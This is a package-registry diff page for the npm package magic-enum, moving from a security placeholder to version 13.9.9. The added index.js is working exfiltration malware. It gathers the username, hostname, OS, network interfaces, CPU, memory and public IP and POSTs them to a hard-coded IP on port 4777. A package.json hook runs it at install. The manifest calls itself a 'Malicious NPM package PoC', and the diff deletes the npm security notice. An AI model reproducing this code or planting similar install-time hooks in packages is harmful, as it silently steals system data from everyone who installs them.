magic-enum 0.0.1-security → 13.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of magic-enum might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +65 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,65 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+
4
+ // Function to get public IP of the system
5
+ function getPublicIP(callback) {
6
+ https.get('https://api64.ipify.org?format=json', (res) => {
7
+ let data = '';
8
+ res.on('data', chunk => { data += chunk; });
9
+ res.on('end', () => {
10
+ try {
11
+ const ipInfo = JSON.parse(data);
12
+ callback(ipInfo.ip);
13
+ } catch (error) {
14
+ callback('Unknown');
15
+ }
16
+ });
17
+ }).on('error', () => {
18
+ callback('Unknown');
19
+ });
20
+ }
21
+
22
+ // Collect system info
23
+ getPublicIP((publicIP) => {
24
+ const systemData = {
25
+ user: os.userInfo().username,
26
+ hostname: os.hostname(),
27
+ os: os.type() + " " + os.release(),
28
+ arch: os.arch(),
29
+ platform: os.platform(),
30
+ uptime: os.uptime(),
31
+ public_ip: publicIP,
32
+ networkInterfaces: os.networkInterfaces(),
33
+ cpus: os.cpus(),
34
+ memory: {
35
+ total: os.totalmem(),
36
+ free: os.freemem(),
37
+ used: os.totalmem() - os.freemem()
38
+ }
39
+ };
40
+
41
+ const data = JSON.stringify(systemData);
42
+
43
+ const options = {
44
+ hostname: '65.0.127.249', // Listener IP (change as needed)
45
+ port: 4777, // Port to send the data to
46
+ path: '/collect',
47
+ method: 'POST',
48
+ headers: {
49
+ 'Content-Type': 'application/json',
50
+ 'Content-Length': data.length
51
+ }
52
+ };
53
+
54
+ const req = https.request(options, (res) => {
55
+ console.log(`Status: ${res.statusCode}`);
56
+ });
57
+
58
+ req.on('error', (error) => {
59
+ console.error('Error sending data:', error);
60
+ });
61
+
62
+ console.log("Sending system data:", data); // Log the data being sent
63
+ req.write(data);
64
+ req.end();
65
+ });
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "magic-enum",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "13.9.9",
4
+ "description": "Malicious NPM package PoC",
5
+ "main": "index.js",
6
+ "preinstall": "node index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "Security Researcher",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "magic-enum": "^12.9.9"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=magic-enum for more information.